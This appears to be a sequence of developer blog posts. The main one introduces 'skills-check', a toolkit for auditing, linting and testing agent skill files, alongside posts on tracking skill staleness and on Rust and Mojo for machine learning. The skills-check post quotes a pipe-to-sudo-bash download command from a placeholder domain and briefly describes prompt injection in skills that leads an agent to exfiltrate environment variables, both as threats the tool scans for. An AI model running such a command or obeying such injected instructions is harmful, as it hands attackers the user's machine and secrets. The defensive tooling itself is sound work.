That last one has been especially interesting. Instead of asking for a single verdict, Gemini makes the strongest honest case to ship, then the strongest honest case to redesign, then synthesizes the actual cruxes. That is the kind of review loop I want before I let generated UI harden into product surface area.
## The pattern: Claude builds, Codex reviews, Gemini designs
The important part is not the plugin itself. The important part is the operating model. I do not want one model doing everything. One giant assistant with a bigger prompt and more permissions is not the end state I want. That just recreates the solo developer problem with a more expensive autocomplete.
I want a small working team with clear responsibilities:
- Claude Code drives implementation.
- Codex reviews the work product.
- Gemini reviews and corrects the visual design.
That separation matters because each model brings different strengths. It also reduces the risk of the original author grading its own homework. This is the same reason human teams separate implementation, review, QA, design, and product judgment. The boundaries are not bureaucracy. They are how you keep one person's blind spots from becoming the product's blind spots.
AI coding workflows need the same thing.
## DESIGN.md as the contract
The plugin uses the open [Stitch](https://stitch.withgoogle.com/?ref=voodootikigod.com) `DESIGN.md` format as a contract for visual identity. The frontmatter captures machine-readable tokens: colors, typography, spacing, radii, and component rules. The body explains the human rationale. That part matters because this is not just my private convention. Google describes `DESIGN.md` as an agent-friendly markdown file for moving design rules between Stitch and other design or coding tools in its [Stitch product update](https://blog.google/innovation-and-ai/models-and-research/google-labs/stitch-ai-ui-design/?ref=voodootikigod.com). That is exactly the kind of bridge agent workflows need: a readable design contract that a model can inspect before it starts making visual decisions.
That gives the reviewer something concrete to evaluate against. Without a design contract, visual review becomes vibes. Sometimes useful vibes, but still vibes. With a `DESIGN.md`, Gemini (and eventually other LLMs, I would assume) can ask better questions:
* Does this UI uphold the brand?
* Are these colors coming from the token system?
* Do these component variants match the design rules?
* Are we drifting across screens?
* Do the contrast ratios meet [WCAG AA](https://www.w3.org/TR/WCAG22/#contrast-minimum)?
That is a much better review surface than "make it look better."
## Why I built it
I built this because I kept seeing the benefit in my own work. Claude Code could produce the feature. Codex could make the implementation better. Gemini could make the interface better. Each role improved the output in a different way. This is where I think agent workflows are going. Not one giant undifferentiated assistant, but multiple agents and models with explicit responsibilities, narrow contracts, and the ability to challenge each other. The human stays in the loop. The human decides what ships. But the work product going into that decision is better.
Right Tool, Right Task.
`gemini-plugin-cc` is available here: [https://github.com/voodootikigod/gemini-plugin-cc](https://github.com/voodootikigod/gemini-plugin-cc)
---
# The Missing **Quality Toolkit** for Agent Skills
Published: 2026-03-04T10:00:00.000-05:00
Tags: llm, agents, agent-skills, skills, open-source
Source: https://www.voodootikigod.com/the-missing-quality-toolkit-for-agent-skills
> skill-versions solved staleness. But staleness was just the first symptom. Every package ecosystem — CPAN, RubyGems, PyPI, npm, Cargo — eventually builds the same quality infrastructure. Agent skills are just the next language. Meet skills-check.
Two days ago I wrote about [the shelf life problem](https://voodootikigod.com/your-agents-knowledge-has-a-shelf-life/?ref=voodootikigod.com) that agent skills rot silently as upstream products ship new versions, and that nobody had built dependency management for agent knowledge. I shipped [skill-versions](https://www.skill-versions.com/?ref=voodootikigod.com) to solve it: a registry, a version checker, and an AI-assisted refresh loop.
That tool works. It catches staleness. It saves real time.
But as I used it, I kept running into problems that staleness checking alone can't solve.
## The shelf life was just the first crack
A skill can be perfectly current and still be dangerous. It can reference a package that doesn't exist on npm, a hallucinated dependency that an LLM invented during authoring. It can contain a `curl | bash` pipe that silently installs something you never reviewed. It can have prompt injection patterns buried in its instructions, turning your helpful coding agent into something that exfiltrates environment variables.
A skill can be well-structured and still be wasteful. If you're loading 57 skills into an agent's context window and three of them share 40% of their content verbatim, you're burning tokens on redundancy. At Claude Opus pricing, that adds up. At scale, it adds up fast.
A skill can pass every check and still violate your organization's rules. Maybe your team requires all skills to come from approved sources. Maybe you've banned certain shell patterns after an incident. Maybe you need every skill to carry a license field before it touches production.
Staleness was the symptom I noticed first because it was the most visible. But underneath it, there's a whole category of quality and integrity problems that agent skills share with every package ecosystem ever built — problems that every language community has spent years solving, independently, in roughly the same order.
## Every language learns the same lessons
I spent a meaningful part of my career in the early Node.js community. I watched npm grow from a few hundred packages to hundreds of thousands. I watched the ecosystem learn, sometimes painfully, that a package registry without quality infrastructure is a liability.
But here's the thing: npm wasn't the first to learn these lessons. It wasn't even close.
CPAN had them in the early 2000s. RubyGems hit the same walls around 2009. PyPI grew through the same growing pains. Cargo learned from all of them and shipped with most of the answers built in from day one. Go modules arrived even later and made even more opinionated choices about integrity and reproducibility. Every single language ecosystem, without exception, eventually builds the same core infrastructure:
**Staleness detection.** `npm outdated`, `cargo outdated`, `poetry show --outdated`, `pip list --outdated`, `bundle outdated`. Every ecosystem builds a way to ask "what's behind?" because dependencies drift and nobody remembers to check manually. Skills need this too. That's what skill-versions built.
**Security auditing.** `npm audit`, `cargo audit`, `pip-audit`, `bundle audit`, `safety check`. After enough supply chain incidents — npm's `event-stream`, PyPI's typosquatting campaigns, RubyGems' malicious packages, every ecosystem builds tooling to ask "is this safe?" not just "does this install?" Skills need the same thing. A skill that references `@vercel/analytics-next` (a package that doesn't exist) is a supply chain attack vector if someone squats that name. A skill that tells your agent to `curl https://some-domain.com/setup.sh | sudo bash` is a privilege escalation waiting to happen. This isn't hypothetical, it's the same class of attack that hit every package ecosystem before it.
**Lockfiles and integrity verification.** `package-lock.json`, `Cargo.lock`, `poetry.lock`, `Gemfile.lock`, `go.sum`. Because knowing what you installed last Tuesday doesn't help if someone published a malicious patch in between. The mechanism varies, npm uses SHA hashes, Go uses a transparency log, Cargo uses checksums, but the principle is universal: verify that what you got is what you expected. Skills need version verification too, when someone bumps a skill from 1.0.0 to 1.0.1, did the content actually change by a patch amount? Or did they sneak in a breaking rewrite?
**Linting and structural validation.** ESLint, Clippy, Ruff, RuboCop, `go vet`. Every language eventually decides that consistent structure, required metadata, and format validation prevent entire categories of bugs before they ship. Skills need linting, is there a `name` field? A `description`? Is the `product-version` valid semver? Is the SPDX license identifier real? These are the same questions `cargo publish` asks about `Cargo.toml` and `npm publish` asks about `package.json`.
**Testing frameworks.** Jest, `cargo test`, pytest, RSpec, `go test`. Because you can't trust code you don't test. This is so fundamental that Cargo and Go ship their test runners as part of the language toolchain, they don't even make you pick a framework. Skills need testing too. You should be able to declare eval suites that verify an agent actually does the right thing when it reads your skill.
**Registry policies.** `.npmrc`, Artifactory, private PyPI indexes, `GOPROXY`, `cargo` registry configuration. Because in an enterprise, not every package on the public registry is acceptable. Every organization eventually needs to control what comes in. Skills need the same policy enforcement, which sources are trusted, which patterns are banned, which metadata is mandatory before a skill touches production.
The pattern is so consistent it's almost boring. A new packaging format emerges. People publish packages. The ecosystem grows. Things break. The community builds quality tooling. Rinse, repeat. CPAN did it. RubyGems did it. PyPI did it. npm did it. Cargo did it. Go modules did it.
Agent skills are just the next iteration. The "language" is markdown. The "packages" are SKILL.md files. The "runtime" is an LLM with file system and shell access. But the failure modes are identical, and the solutions are the same solutions; adapted, not invented.
The only question is whether we learn from the ecosystems that came before us, or whether we insist on re-discovering each lesson the hard way.
## skill-versions becomes skills-check
In building and making `skill-versions`, I realized we need to solve all of the above outlined items, not just the one that is causing personal frustration right now.
And so `skill-versions` is now `skills-check` — a unified toolkit with ten commands that cover the full quality and integrity lifecycle for agent skills. The original `check` and `refresh` commands are still there, doing exactly what they did before. But they're now part of something larger.
Here's the full picture:
### What you already know
**`skills-check check`** — Detect version drift by comparing `product-version` frontmatter against npm registry. The same thing skill-versions did, same speed, same output.
**`skills-check refresh`** — AI-assisted updates for stale skills. Spawns an LLM to research changelogs and propose targeted edits. Still supports Anthropic, OpenAI, and Google providers.
**`skills-check report`** — Generate formatted staleness reports in markdown or JSON. Drop it in a PR, pipe it to a dashboard, whatever works for your workflow.
### What's new
**`skills-check audit`** — Security scanning purpose-built for skills. Checks whether referenced npm, PyPI, and crates.io packages actually exist (hallucination detection). Scans for prompt injection patterns, instruction overrides, data exfiltration attempts, obfuscated payloads. Flags dangerous shell commands. Verifies URL liveness. Validates metadata completeness. Outputs in terminal, JSON, markdown, or SARIF format (so findings appear directly in GitHub's Security tab). Bear in mind, this is not a replacement for Snyk or Socket - you should absolutely use those tools for all the reasons [well articulated here](https://snyk.io/blog/skill-scanner-false-security/?ref=voodootikigod.com) — those tools do deep supply chain analysis and skills.sh already integrates them at submission time. `audit` focuses on what they don't cover: do the packages your skill references even exist? Are the URLs still alive? Is there injection hiding in the instructions? In the future, though I haven't yet explored it, I would love to collaborate and find a way to integrate those tools into `skills-check audit`.
**`skills-check lint`** — Metadata validation with auto-fix. Four rule sets: required fields (name, description), publish-ready fields (author, license, repository), conditional fields (product-version when products are referenced), and format validation (semver, SPDX license identifiers, valid URLs). The `--fix` flag populates missing fields from git context, it reads your commit history to infer author, repository URL, and license. One hundred plus SPDX identifiers supported, including compound expressions with `OR` and `AND`.
**`skills-check budget`** — Token cost analysis. Counts tokens per skill and per section using the `cl100k_base` encoding. Detects redundancy between skills via 4-gram Jaccard similarity, if two skills share significant content, you'll know. Estimates cost across model pricing tiers (Claude Opus, Sonnet, Haiku, GPT-4o). Supports snapshot comparison so you can track how your context budget changes over time.
This one seems to have no equivalent anywhere. Nobody's built token budgeting for agent knowledge before, perhaps just not many people are loading mass numbers of agents and skills (did that once, didn't work out well). If you're loading skills into context windows and paying per token, this is the command that tells you where your money is going.
**`skills-check verify`** — Semver verification for skill content. When a skill bumps from 1.2.0 to 1.3.0, did the content actually change by a minor amount? Uses a two-layer classifier: heuristic rules first (section diffs, package changes, content similarity), then LLM-assisted classification for uncertain cases. Think of it as `cargo semver-checks` but for knowledge instead of API surfaces.
**`skills-check test`** — Eval test runner. Declare test suites in `cases.yaml` files alongside your skills. Define prompts, expected outcomes, and grading criteria. Seven built-in graders: file-exists, command exit codes, regex contains/not-contains, JSON matching, package presence, LLM rubric scoring, and custom (dynamic module import). Run tests through agent harnesses, Claude Code CLI, or any shell command. Trial-based execution with configurable pass thresholds and flaky test detection. Baseline storage for regression tracking. If the concept of evals are new to you, be sure to read [this great article on the topic](https://vercel.com/kb/guide/an-introduction-to-evals?ref=voodootikigod.com), it's a new-ish concept that can help you write better tests for your agent skills and ensure they behave as expected from model to model.
This is the one I'm most excited about. After you run `refresh` to update a stale skill, you can run `test` to verify the agent still behaves correctly. Regression detection for agent knowledge.
**`skills-check policy`** — Policy-as-code via `.skill-policy.yml`. Define organizational rules: trusted sources (allow/deny with glob matching), required and banned skills, metadata requirements, content pattern deny/require lists, freshness limits, and audit integration (automatically runs `audit` when `audit.require_clean` is configured). Policy file discovery walks up directories for monorepo support.
**`skills-check init`** — Scaffold a `skills-check.json` registry from an existing skills directory. Interactive or non-interactive with auto-detection.
### All of it, in CI
Every command supports `--json` for machine-readable output, `--ci` for strict exit codes, and `--fail-on ` for configurable thresholds. There's a GitHub Action (`voodootikigod/skills-check@v1`) that runs any combination of commands with per-command threshold inputs. Drop it in your workflow and skills get the same quality gates as your code:
```yaml
- uses: voodootikigod/skills-check@v1
with:
commands: check audit lint budget policy
audit-fail-on: high
budget-max-tokens: 50000
```
## The architecture tax I'm glad I paid
The whole CLI follows a single architectural pattern borrowed from the audit command: **extractor/checker/reporter**. Parse SKILL.md files once, extract structured data (packages, URLs, shell commands, frontmatter, sections), pass that data to independent checkers, filter findings through ignore rules, and output through reusable reporters.
This means checkers are testable in isolation, reporters work across commands, and new checks are additive - you add a checker, not a rewrite. The test suite has 91 files with 688 tests. Every network-dependent module is mocked. It's the kind of architecture that makes adding the eleventh command boring in the best way.
## What comes next
skills-check handles analysis, verification, and maintenance. It deliberately doesn't handle distribution, installation, or lifecycle management, that's what [skills.sh](https://skills.sh/?ref=voodootikigod.com) does, and [Andrew Qu](https://www.andrewqu.com/) is a colleague and friend of mine. The tools are complementary. skills.sh installs your skills. skills-check keeps them safe.
There are natural integration points I'm looking forward to building: `skills-check audit` as a pre-install hook in skills.sh. Budget reports per dependency group once skills.sh implements them. Policy source rules that reference skills.sh registry sources. Deprecation status feeding into health reports.
The Agent Skills ecosystem is still young. We're at the "move fast and figure out governance later" phase that npm was at around 2013, that PyPI was at around 2015, that every ecosystem passes through on its way to maturity - it's bumpy, it can be ugly, and it can be chaotic. The difference is we've already seen how this movie ends — six times over, across six language communities. We know that quality infrastructure isn't optional. It's what determines whether the ecosystem earns trust or becomes a liability.
## Migration from skill-versions
If you're using `skill-versions` today, migration is straightforward:
```bash
npm install -g skills-check
npm uninstall -g skill-versions
```
The `check`, `refresh`, and `report` commands work identically. Your `skills-check.json` registry (previously `product-registry.json`) is the same format. The only change is the package name and the fact that you now have seven additional commands available when you need them.
`skill-versions` will receive a final release pointing users to `skills-check`, then go into maintenance mode. Everything it did (over that **whole two days** -- things move so fast these days) lives on in this unified toolkit.
## The point
Every packaging format is a language. Rust has `.rs` files and `Cargo.toml`. Python has `.py` files and `pyproject.toml`. Agent skills have `.md` files and YAML frontmatter. The syntax differs, but the quality problems don't.
Agent skills look like documentation but they execute like code. They run inside agents that have file system access, shell access, and network access. A bad skill isn't a typo in a README — it's a vector for hallucinated dependencies, privilege escalation, and silent quality degradation. The same classes of attacks that hit CPAN, RubyGems, PyPI, npm, and crates.io will hit skill registries. It's not a matter of if, only a matter of how frequently.
CPAN learned. RubyGems learned. PyPI learned. npm learned. Cargo was smart enough to learn from them all and ship with the answers built in. We should be at least that smart.
`skills-check` is the quality toolkit I wish existed when I started building agent skills, so now it does. Use it locally, run it in CI, enforce policy across your organization. Your agents are only as good as their instructions, and those instructions deserve the same rigor every language community eventually gives its packages - whether the language is Rust, Python, JavaScript, or markdown.
* * *
_`skills-check` is available on [npm](https://www.npmjs.com/package/skills-check?ref=voodootikigod.com) and as a [GitHub Action](https://github.com/voodootikigod/skills-check?ref=voodootikigod.com). Documentation is available at [skillscheck.ai](https://skillscheck.ai/?ref=voodootikigod.com). The Agent Skills Specification lives at [agentskills.io](https://agentskills.io/?ref=voodootikigod.com)._
---
# Your Agent's Knowledge **Has a Shelf Life**
Published: 2026-03-02T11:22:01.000-05:00
Updated: 2026-03-02T11:49:20.000-05:00
Tags: llm, agents, agent-skills, skills
Source: https://www.voodootikigod.com/your-agents-knowledge-has-a-shelf-life
> Your Agent's Knowledge Has a Shelf Life and every day you ignore it, your agents and skills are likely drifting into error land or worse, silent failures. But we have seen this play before and I propose a fix for it. Meet skill-versions.com
I work at [Vercel](https://vercel.com/?ref=voodootikigod.com) and for the last few months I've been building a collection of 21 specialist agents and 57 skills for Claude Code, Codex, and Cursor. Each agent and skill encodes deep knowledge about a specific Vercel product: the AI SDK, Next.js, Workflow, Sandbox, TurboRepo, and many more we use daily. Not surface-level "here's how to install it" knowledge - the real deep stuff so that I can help my team members and our customers more effectively. The API patterns that actually work in production, the migration paths to a better, more confident existence, and the battle scars won from real world execution in customer environments, from Startup to Enterprise. It's the kind of thing you write once, test against real projects, and feel good about.
And then Next.js ships a new major version.
Or the AI SDK jumps from v4 to v6. Or Payload CMS deprecates an access control pattern you documented as the recommended approach, and they're shipping new releases almost daily. Suddenly your carefully crafted agent instructions are confidently telling developers to use NPM packages or APIs that no longer exist.
This isn't a hypothetical. This is the reality of maintaining any collection of agent skills at scale, and I think it's a problem nobody's really talking about yet.
## The problem nobody warned me about
If you've worked with AI coding agents, whether Claude Code, Codex, Cursor, or whatever your tool of choice is, you've probably written some form of instruction files. Maybe it's a `CLAUDE.md`, maybe it's `.cursorrules`, maybe it's a full skill file following the [Agent Skills Specification](https://agentskills.io/?ref=voodootikigod.com). These files tell the agent how to do things correctly for your stack.
Here's what I've learned the hard way: **those files are snapshots of knowledge at a point in time.** They don't update themselves. They don't know when the upstream product ships a breaking change. They just sit there, each day getting a little more stale, slowly becoming wrong.
Across this skill collection, I'm tracking 22 different Vercel products. Each product has its own release cadence. Some ship weekly. Some ship daily. The AI SDK went from version 4.x to 6.x in what felt like a blink. At a company like Vercel with a proud culture of "You Can Just Ship Things", the one thing you know is a hard truth, things are constantly changing.
The combinatorial problem is real: 22 products, each with their own velocity, mapped across 57 skill files. There's no way to keep all of that fresh through manual review. I tried. It doesn't work.
## What "stale" actually looks like
Let me be specific about what goes wrong, because "stale knowledge" sounds abstract until it bites you.
A developer asks their agent to set up Vercel Workflow. The agent reads the skill file, which says `npm install @vercel/workflow`. But the package was renamed to just `workflow` months ago. The install fails. The developer doesn't know why. They lose trust in the agent. They go back to reading docs manually.
Or worse: the API _mostly_ works, but there's a new parameter that enables a critical feature such as, automatic retry configuration and the skill doesn't mention it because it didn't exist when the skill was written. The developer gets a working but suboptimal implementation, and they never know what they're missing.
This is the insidious part. Stale knowledge doesn't always fail loudly. Sometimes it just quietly produces worse outcomes.
## Agents and skills need dependency management
We've solved this problem for code. `npm outdated` tells you when your packages are behind. Dependabot opens PRs when new versions ship. We have entire ecosystems built around keeping dependencies fresh.
But for agent knowledge? Nothing. Your skill files are flying blind.
So I built something. It's not complicated, but it's been genuinely useful, and I think the pattern generalizes well beyond my project.
### Step 1: A product registry
At the root of the repo of my agents and skills, there's now a `product-registry.json` that maps every product to its npm package, GitHub repo, documentation URL, current verified version, and the skill files that encode knowledge about it. It looks like this:
```json
{
"ai-sdk": {
"displayName": "Vercel AI SDK",
"npm": { "packages": ["ai"], "primaryPackage": "ai" },
"verifiedVersion": "6.0.105",
"verifiedAt": "2026-02-28T00:00:00Z",
"skills": ["ai-sdk-core", "ai-sdk-tools", "ai-sdk-react", "ai-sdk-multimodal"],
"agents": ["ai-sdk-engineer"]
}
}
```
Twenty-two entries. One source of truth.
### Step 2: A version checker
A TypeScript script reads the registry, hits the npm API in parallel for all 22 products, and compares what's published against what we've verified. It takes about three seconds. No AI involved, this is plain deterministic code.
```
$ npm run check-versions
Skills Knowledge Check
==================================================
STALE (2):
ai-sdk 6.0.105 -> 6.1.0 (minor)
payload 3.78.0 -> 3.80.0 (minor)
CURRENT (15): upstash-redis, next, turbo, ...
```
That's it. Now I know exactly which skills need attention, and I know before any developer hits a problem.
### Step 3: A frontmatter convention
In my agents/skills repos, every skill file related to a product now carries a `product-version` field in its YAML frontmatter:
```yaml
---
name: ai-sdk-core
description: "Generate text and structured output with Vercel AI SDK."
product-version: "6.0.105"
---
```
This makes staleness visible at the file level. You can grep for it. You can cross-reference it against the registry. You can build CI checks around it. It's simple, but simple is the point.
### Step 4: AI-assisted refresh
This is where it gets interesting. When the checker identifies stale products, I can spawn the relevant specialist agent, the one that already has deep expertise in that product, and ask it to research the changelog, identify what changed, and apply targeted edits to the affected skill files. The agent updates the patterns, bumps the version in frontmatter, and updates the registry.
The human stays in the loop for review, but the tedious work of reading changelogs and mapping changes to skill files is handled by the agents themselves.
## This isn't just my problem
I want to be clear: there's nothing in this pattern that's specific to Vercel products or to my project's architecture. If you're maintaining agent skills, for any product, in any framework, you have this problem and it will be a perpetual one. You just might not have noticed yet.
The [Agent Skills Specification](https://agentskills.io/?ref=voodootikigod.com) already provides a standard for how skills are structured. The `product-version` convention is a natural extension. I think it should be part of the spec. A skill that doesn't declare which version of the product it was written for is a skill that can't tell you when it's wrong.
Here's what I'd love to see happen:
1. **`product-version` becomes a standard frontmatter field** in the Agent Skills Spec. Any skill that references a versioned product should declare which version it targets.
2. **A generic version-checking package** that works with any registry file. You shouldn't need to build this from scratch for your project. `npx skill-versions check` should just work.
3. **CI integration** that flags stale skills the same way we flag outdated dependencies. A GitHub Action that runs weekly and opens issues when skills drift.
## The meta-observation
There's something worth sitting with here. We're building agents that write code, review code, and architect systems. But the knowledge that makes those agents effective is itself a maintenance burden. The agents are only as good as their instructions, and instructions rot.
The software engineering discipline has spent decades building tools to manage change in code, whether in version control, dependency management, continuous integration, automated testing. Agent knowledge needs the same rigor. Not because it's glamorous work, but because the alternative is agents that slowly get worse at their jobs while everyone assumes they're fine.
I've been maintaining open source projects long enough to know that the unsexy maintenance work is what separates tools people trust from tools people try once and abandon. This is that work for agents.
If you're building agent skills at any scale, even a handful of instruction files for your team, I cannot more strongly recommend you start tracking versions now. Future you will be grateful.
## Bearing gifts
In order to help solve this for myself and others, I spent sometime building out an NPM package to identify (`check`) and resolve through AI-Assisted upkeep (`refresh`) this staleness problem. Have a look at [skill-versions](https://www.skill-versions.com/?ref=voodootikigod.com) and use it locally or include it in your CI/CD pipelines. Hopefully it can save you to stress and gnashing of teeth I have experienced.
* * *
_The Agent Skills Specification lives at_ [_agentskills.io_](https://agentskills.io/?ref=voodootikigod.com)_. I've_ [_proposed adding `product-version` as a standard field_](https://github.com/agentskills/agentskills/discussions/201?ref=voodootikigod.com) _- feedback welcome._
---
# The Much Needed Revolution in Machine Learning: **Beyond Incremental Improvements**
Published: 2025-03-24T09:34:53.000-04:00
Updated: 2025-03-24T09:34:53.000-04:00
Source: https://www.voodootikigod.com/the-much-needed-revolution-in-machine-learning-beyond-incremental-improvements
> Python's GIL and reference counting can't be solved incrementally. The real revolution in ML infrastructure comes from Rust and Mojo — languages that rethink safety, parallelism, and performance from first principles.
## The Fundamental Bottleneck in Modern ML Infrastructure
As outlined in the previous [two](https://www.voodootikigod.com/the-evolution-of-machine-learning/) [posts](https://www.voodootikigod.com/understanding-the-bottlenecks-pythons-gil-and-the-limitations-of-current-ml-infrastructure/) in this series, the machine learning landscape stands at an inflection point. While the Python ecosystem has been revolutionary in democratizing AI development, its fundamental limitations have become increasingly evident as model complexity grows. As we've previously explored, Python's Global Interpreter Lock (GIL) creates a hard ceiling on performance by preventing true parallel execution across CPU cores. This architecture, designed decades ago, is fundamentally misaligned with the parallel processing demands of modern AI workloads. The result is a technological bottleneck that manifests as slower training times, reduced experimentation capacity, and significantly higher infrastructure costs.
The reality is that these problems cannot be solved through incremental improvements to Python or its supporting libraries alone. What's needed is a fundamental rethinking of the languages and tools that power machine learning systems. Two emerging technologies are leading this revolution: Rust, with its focus on performance and memory safety, and Modular's Mojo, which seeks to maintain Python's accessibility while eliminating its performance limitations. Both represent not just performance improvements but paradigm shifts in how we approach machine learning development.
## Rust's Ownership Model: The Foundation of Safe Parallelism
At the heart of Rust's revolutionary approach to performance is its ownership model, which solves the very problems that necessitated Python's GIL in the first place. Rust's ownership model ["ensures memory safety at compile time, preventing common issues like null pointer dereferencing and buffer overflows."](https://www.rapidinnovation.io/post/rusts-memory-management-and-ownership-model?ref=voodootikigod.com) Unlike Python's reference counting approach, which requires global locking to prevent race conditions, Rust's ownership rules are enforced by the compiler, eliminating the need for runtime checks altogether.
This ownership model extends beyond mere memory safety to enable truly safe concurrency. Rust achieves this through ["its unique concepts of ownership, borrowing, and lifetimes, which enable fine-grained control over memory while preventing common errors."](https://www.javacodegeeks.com/2025/01/memory-safety-in-rust-the-role-of-ownership-and-borrowing.html?ref=voodootikigod.com) In practice, this means that Rust code can safely utilize all available CPU cores without the limitations imposed by a global lock. The compiler itself guarantees that multiple threads cannot simultaneously access the same memory in ways that would lead to data races, eliminating an entire class of bugs that plague multi-threaded Python applications.
For machine learning workloads specifically, this translates to predictable scaling across cores. While Python applications hit performance walls as they add more threads due to GIL contention, Rust applications can continue scaling virtually linearly with additional cores. This capability is especially valuable for computation-intensive operations like gradient calculations, feature engineering, and model training, where parallelism can dramatically reduce processing times.
## Data Parallelism with Rayon: Simplifying Concurrent Programming
One of Rust's most powerful libraries for machine learning is Rayon, which provides a high-level abstraction for data parallelism while maintaining Rust's safety guarantees. Rayon offers ["robust tools for parallel computation while preserving Rust's renowned safety guarantees. It offers a high-level abstraction for data parallelism, simplifying the process of writing concurrent code."](https://nrempel.com/parallel-processing-with-rayon/?ref=voodootikigod.com) This approach makes it remarkably easy to convert sequential code to parallel code, often requiring only minimal changes.
The simplicity of Rayon's API belies its sophisticated implementation. Under the hood, Rayon uses a work-stealing algorithm to efficiently distribute tasks across available CPU cores, automatically balancing the workload to maximize throughput. This approach is particularly well-suited to machine learning tasks, which typically involve applying the same operation to large collections of independent data points.
In practical terms, parallelizing a CPU-bound operation with Rayon often requires changing just a single line of code—for example, converting a standard iterator to a parallel iterator using the `par_iter()` method. This simplicity dramatically lowers the barrier to writing high-performance parallel code, making Rust's performance benefits accessible even to developers without extensive systems programming experience. The performance gains can be substantial; in one image processing benchmark, using Rayon reduced execution time [from about 427 seconds to 99 seconds](https://nrempel.com/parallel-processing-with-rayon/?ref=voodootikigod.com), demonstrating the dramatic impact efficient parallelism can have on computation-intensive tasks.
## The Emerging Rust ML Ecosystem: Polars, Burn, and Beyond
The Rust ecosystem for machine learning is rapidly maturing, with several libraries emerging as viable alternatives to established Python tools. Perhaps the most notable is [Polars](https://pola.rs/?ref=voodootikigod.com), a DataFrame library that offers dramatic performance improvements over Pandas. In benchmarks using real-world datasets, ["Polars consistently outperformed Pandas across all five common data operations. The performance difference was particularly noticeable in aggregation operations, where Polars was over 22 times faster than Pandas."](https://www.statology.org/pandas-vs-polars-performance-benchmarks-for-common-data-operations/?ref=voodootikigod.com)
This performance advantage stems from several factors. Unlike Pandas, Polars is ["written in Rust, a low-level language that is almost as fast as C and C++."](https://blog.jetbrains.com/pycharm/2024/07/polars-vs-pandas/?ref=voodootikigod.com) It employs a columnar memory format based on Apache Arrow, enabling more efficient CPU cache utilization and SIMD (Single Instruction, Multiple Data) operations. Perhaps most importantly, Polars leverages Rust's safe concurrency model to utilize all available CPU cores, something Pandas cannot do due to Python's GIL.
On the deep learning front, the Burn library is emerging as a promising alternative to frameworks like TensorFlow and PyTorch. Burn is a new deep learning framework written entirely in the Rust programming language with flexibility, performance, and ease of use [as its key design principles](https://www.kdnuggets.com/rust-burn-library-for-deep-learning?ref=voodootikigod.com). By building on Rust's performance characteristics, Burn aims to deliver high-performance neural network training and inference without the complexity of C++ or the overhead of Python.
## Performance Benchmarks: Quantifying the Rust Advantage
The performance benefits of Rust-based tools are not theoretical—they're measurable and significant. When comparing Polars to Pandas on large datasets, Polars demonstrates substantially better performance, with particularly impressive gains for data processing tasks that would "[take several hours](https://www.linkedin.com/pulse/polars-vs-pandas-benchmarking-performances-beyond-l6svf?ref=voodootikigod.com)" in Pandas. This performance gap becomes even more pronounced as dataset sizes increase, making Rust-based tools particularly valuable for the large datasets common in modern machine learning applications.
These performance improvements translate directly to reduced infrastructure costs and increased productivity. Models that train faster enable more experimentation, leading to better outcomes. Inference pipelines that execute more efficiently reduce the hardware requirements for production deployments, lowering operational costs. And perhaps most importantly, the ability to process larger datasets without performance degradation opens up new possibilities for model development that simply weren't feasible with Python-based tools.
Beyond raw performance, Rust-based tools also demonstrate better resource utilization. Polars supports out of core data transformation with its streaming API, allowing it to process results without requiring all data to be in memory at the same time. This capability is particularly valuable for memory-constrained environments or when working with datasets that exceed available RAM. By efficiently utilizing both CPU cores and memory, Rust-based tools can extract maximum performance from available hardware.
## Energy Efficiency: The Hidden Benefit of Performance
One often overlooked advantage of more efficient computation is reduced energy consumption. According to performance benchmarks, Polars is ["generally more memory-efficient than Pandas,"](https://www.kdnuggets.com/pandas-vs-polars-a-comparative-analysis-of-python-dataframe-libraries?ref=voodootikigod.com) which translates directly to lower energy requirements for equivalent workloads. In a world increasingly concerned with the environmental impact of AI, this efficiency gain represents an important sustainability advantage.
The energy efficiency benefits of Rust extend beyond DataFrame operations to all aspects of machine learning workflows. Each operation optimized, each unnecessary CPU cycle eliminated, contributes to a smaller carbon footprint for ML applications. As models continue to grow in size and complexity, these efficiency gains become increasingly important from both cost and environmental perspectives.
For organizations running large-scale ML infrastructure, the energy savings from more efficient code can translate to significant cost reductions. Cloud computing providers typically charge based on resource consumption, meaning that more efficient code directly reduces operational expenses. By adopting Rust-based tools, organizations can simultaneously improve performance, reduce costs, and decrease their environmental impact—a rare win-win-win scenario.
## Modular's Mojo: Python Syntax with Revolutionary Performance
While Rust offers tremendous performance benefits, its adoption requires learning a new programming model—a substantial investment for teams already familiar with Python. Modular's Mojo language takes a different approach, maintaining Python's familiar syntax while eliminating its performance limitations. As the creators explain, "[Embracing Python massively simplifies our design efforts, because most of the syntax is already specified. We can instead focus our efforts on building Mojo's compilation model and systems programming features.](https://docs.modular.com/mojo/why-mojo/?ref=voodootikigod.com)"
This approach makes Mojo particularly appealing for teams with substantial investments in Python code and expertise. Mojo is designed to be ["a brand-new code base, but it's not starting from scratch conceptually. By embracing Python, the creators of Mojo were able to focus their efforts on building Mojo's compilation model and systems programming features."](https://codingscape.com/blog/modular-mojo-write-all-your-code-for-ai-in-one-language?ref=voodootikigod.com) This foundation allows Python developers to leverage their existing knowledge while gaining access to systems-level performance.
Like Rust, Mojo addresses memory management challenges without requiring a GIL. Mojo incorporates an ownership memory model that provides predictable low-level performance and low-level control. This approach enables safe concurrency without sacrificing performance, allowing Mojo code to efficiently utilize all available CPU cores. The result is a language that combines Python's accessibility with performance competitive with C and Rust.
## The MAX Platform: Hardware Portability for ML Workloads
A key component of Modular's offering is the MAX platform, which extends Mojo's capabilities with comprehensive support for heterogeneous computing environments. MAX is described as ["an integrated suite of tools for AI compute workloads across CPUs and NVIDIA and AMD GPUs."](https://www.modular.com/max?ref=voodootikigod.com) This hardware-agnostic approach addresses one of the most significant challenges in machine learning development: efficiently utilizing specialized hardware while maintaining code portability.
The MAX platform achieves this through a sophisticated compiler infrastructure based on MLIR (Multi-Level Intermediate Representation). As Modular explains, ["Mojo is the first programming language built from the ground-up with MLIR (a compiler infrastructure that's ideal for heterogeneous hardware, from CPUs and GPUs, to various AI ASICs)."](https://docs.modular.com/mojo/manual/?ref=voodootikigod.com) This foundation enables Mojo code to efficiently target a wide range of hardware accelerators without requiring developers to learn platform-specific languages like CUDA.
This hardware portability represents a significant advantage in the rapidly evolving ML landscape. It allows organizations to adapt to new hardware innovations without rewriting their code, reducing the risk of vendor lock-in and extending the lifespan of ML applications. As specialized AI accelerators continue to proliferate, this flexibility will become increasingly valuable for maintaining competitive performance while controlling costs.
## Conclusion: Embracing the Revolution
